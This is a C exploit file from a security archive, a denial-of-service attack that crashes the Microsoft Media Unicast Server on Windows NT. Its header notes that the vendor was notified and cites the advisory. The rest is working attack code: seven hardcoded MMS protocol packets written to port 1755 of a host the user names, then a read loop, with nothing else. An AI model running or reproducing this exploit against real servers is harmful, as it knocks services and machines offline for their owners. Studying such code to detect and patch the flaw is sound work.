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TUCoPS :: Windows :: mmsu-dos.c

MS Media Server DoS





/*
 *
 * Jan-18-2000
 *
 * [ http://www.rootshell.com/ ]
 *
 * Microsoft Media Server 4.1 - Denial of Service Attack
 *
 * This code will crash the Microsoft Media Unicast Server for
 * Windows NT.  We have tested this against machines running SP4
 * and SP6.
 *
 * We have seen the entire machine become very unstable following
 * the crash of the unicast server.
 *
 * Notified secure@microsoft.com Jan-18-2000 at 11:30 AM.
 * Microsoft advisory released Feb-23-2000.
 *
 * http://www.microsoft.com/technet/security/bulletin/fq00-013.asp
 *
 */

#include <stdio.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <string.h>
#include <unistd.h>

char packet1[] = {
0x01, 0x00, 0x00, 0x00, 0xce, 0xfa, 0x0b, 0xb0, 0xa0, 0x00, 0x00, 0x00,
0x4d, 0x4d, 0x53, 0x20, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xf8, 0x53, 0xe3, 0xa5, 0x9b, 0xc4, 0x00, 0x40, 0x12, 0x00, 0x00, 0x00,
0x01, 0x00, 0x03, 0x00, 0xf0, 0xf0, 0xf0, 0xf0, 0x0b, 0x00, 0x04, 0x00,
0x1c, 0x00, 0x03, 0x00, 0x4e, 0x00, 0x53, 0x00, 0x50, 0x00, 0x6c, 0x00,
0x61, 0x00, 0x79, 0x00, 0x65, 0x00, 0x72, 0x00, 0x2f, 0x00, 0x34, 0x00,
0x2e, 0x00, 0x31, 0x00, 0x2e, 0x00, 0x30, 0x00, 0x2e, 0x00, 0x33, 0x00,
0x38, 0x00, 0x35, 0x00, 0x37, 0x00, 0x3b, 0x00, 0x20, 0x00, 0x7b, 0x00,
0x30, 0x00, 0x32, 0x00, 0x64, 0x00, 0x30, 0x00, 0x63, 0x00, 0x32, 0x00,
0x63, 0x00, 0x30, 0x00, 0x2d, 0x00, 0x62, 0x00, 0x35, 0x00, 0x30, 0x00,
0x37, 0x00, 0x2d, 0x00, 0x31, 0x00, 0x31, 0x00, 0x64, 0x00, 0x32, 0x00,
0x2d, 0x00, 0x39, 0x00, 0x61, 0x00, 0x61, 0x00, 0x38, 0x00, 0x2d, 0x00,
0x62, 0x00, 0x37, 0x00, 0x30, 0x00, 0x66, 0x00, 0x33, 0x00, 0x30, 0x00,
0x34, 0x00, 0x34, 0x00, 0x61, 0x00, 0x65, 0x00, 0x37, 0x00, 0x65, 0x00,
0x7d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};

char packet2[] = {
0x01, 0x00, 0x00, 0x00, 0xce, 0xfa, 0x0b, 0xb0, 0x20, 0x00, 0x00, 0x00,
0x4d, 0x4d, 0x53, 0x20, 0x04, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
0x5e, 0xba, 0x49, 0x0c, 0x02, 0x2b, 0x01, 0x40, 0x02, 0x00, 0x00, 0x00,
0x18, 0x00, 0x03, 0x00, 0xf1, 0xf0, 0xf0, 0xf0, 0x0b, 0x00, 0x04, 0x00
};

char packet3[] = {
0x01, 0x00, 0x00, 0x00, 0xce, 0xfa, 0x0b, 0xb0, 0x60, 0x00, 0x00, 0x00,
0x4d, 0x4d, 0x53, 0x20, 0x0c, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00,
0x83, 0xc0, 0xca, 0xa1, 0x45, 0xb6, 0x01, 0x40, 0x0a, 0x00, 0x00, 0x00,
0x02, 0x00, 0x03, 0x00, 0xf1, 0xf0, 0xf0, 0xf0, 0xff, 0xff, 0xff, 0xff,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa0, 0x00, 0x02, 0x00, 0x00, 0x00,
0x5c, 0x00, 0x5c, 0x00, 0x31, 0x00, 0x39, 0x00, 0x32, 0x00, 0x2e, 0x00,
0x31, 0x00, 0x36, 0x00, 0x38, 0x00, 0x2e, 0x00, 0x30, 0x00, 0x2e, 0x00,
0x32, 0x00, 0x5c, 0x00, 0x54, 0x00, 0x43, 0x00, 0x50, 0x00, 0x5c, 0x00,
0x31, 0x00, 0x31, 0x00, 0x31, 0x00, 0x31, 0x00, 0x00, 0x00, 0x32, 0x00,
0x63, 0x00, 0x30, 0x00
};


char packet4[] = {
0x01, 0x00, 0x00, 0x00, 0xce, 0xfa, 0x0b, 0xb0, 0x88, 0x00, 0x00, 0x00,
0x4d, 0x4d, 0x53, 0x20, 0x11, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00,
0x2b, 0x87, 0x16, 0xd9, 0xce, 0xf7, 0x01, 0x40, 0x0f, 0x00, 0x00, 0x00,
0x05, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x54, 0x00, 0x68, 0x00,
0x65, 0x00, 0x20, 0x00, 0x45, 0x00, 0x61, 0x00, 0x67, 0x00, 0x6c, 0x00,
0x65, 0x00, 0x73, 0x00, 0x20, 0x00, 0x54, 0x00, 0x65, 0x00, 0x71, 0x00,
0x75, 0x00, 0x69, 0x00, 0x6c, 0x00, 0x61, 0x00, 0x20, 0x00, 0x53, 0x00,
0x75, 0x00, 0x6e, 0x00, 0x72, 0x00, 0x69, 0x00, 0x73, 0x00, 0x65, 0x00,
0x20, 0x00, 0x32, 0x00, 0x38, 0x00, 0x6b, 0x00, 0x2f, 0x00, 0x65, 0x00,
0x61, 0x00, 0x67, 0x00, 0x6c, 0x00, 0x65, 0x00, 0x73, 0x00, 0x32, 0x00,
0x38, 0x00, 0x2e, 0x00, 0x61, 0x00, 0x73, 0x00, 0x66, 0x00, 0x00, 0x00,
0x62, 0x00, 0x37, 0x00, 0x30, 0x00, 0x66, 0x00
};

char packet5[] = {
0x01, 0x00, 0x00, 0x00, 0xce, 0xfa, 0x0b, 0xb0, 0x48, 0x00, 0x00, 0x00,
0x4d, 0x4d, 0x53, 0x20, 0x09, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00,
0x67, 0x66, 0x66, 0x66, 0x66, 0x66, 0x02, 0x40, 0x07, 0x00, 0x00, 0x00,
0x15, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff,
0x65, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0xac, 0x40, 0x02, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00
};

char packet6[] = {
0x01, 0x00, 0x00, 0x00, 0xce, 0xfa, 0x0b, 0xb0, 0x30, 0x00, 0x00, 0x00,
0x4d, 0x4d, 0x53, 0x20, 0x06, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
0x0a, 0xd7, 0xa3, 0x70, 0x3d, 0x0a, 0x11, 0x40, 0x04, 0x00, 0x00, 0x00,
0x33, 0x00, 0x03, 0x00, 0x02, 0x00, 0x00, 0x00, 0xff, 0xff, 0x01, 0x00,
0x00, 0x00, 0xff, 0xff, 0x02, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff,
0x65, 0x00, 0x20, 0x00
};

char packet7[] = {
0x01, 0x00, 0x00, 0x00, 0xce, 0xfa, 0x0b, 0xb0, 0x38, 0x00, 0x00, 0x00,
0x4d, 0x4d, 0x53, 0x20, 0x07, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00,
0x2f, 0xdd, 0x24, 0x06, 0x81, 0x15, 0x11, 0x40, 0x05, 0x00, 0x00, 0x00,
0x07, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00, 0xff, 0xff, 0x01, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0x16, 0xca, 0x03, 0x80, 0x04, 0x00, 0x00, 0x00
};

int sock;

int main(int argc, char *argv[]) {
  struct hostent *he;
  struct sockaddr_in sa;
  char buf[1024];
  
  if (argc != 2) {
    fprintf(stderr, "usage: %s <host/ip>\n", argv[0]);
    return(-1);
  }
  
  sock = socket ( AF_INET, SOCK_STREAM, 0);
  sa.sin_family = AF_INET;
  sa.sin_port = htons(1755);
  he = gethostbyname (argv[1]);
  if (!he) {
    if ((sa.sin_addr.s_addr = inet_addr(argv[1])) == INADDR_NONE)
      return(-1);
  } else {
    bcopy(he->h_addr, (struct in_addr *) &sa.sin_addr, he->h_length);
  }
  if (connect(sock, (struct sockaddr *) &sa, sizeof(sa)) < 0) {
    fprintf(stderr, "Fatal Error: Can't connect to Microsoft Media Server.\n");
    return(-1);
  }
  write(sock, packet1, sizeof(packet1));
  write(sock, packet2, sizeof(packet2));
  write(sock, packet3, sizeof(packet3));
  write(sock, packet4, sizeof(packet4));
  write(sock, packet5, sizeof(packet5));
  write(sock, packet6, sizeof(packet6));
  write(sock, packet7, sizeof(packet7));
  for (;;) {
    read(sock, buf, sizeof(buf));
  }
}



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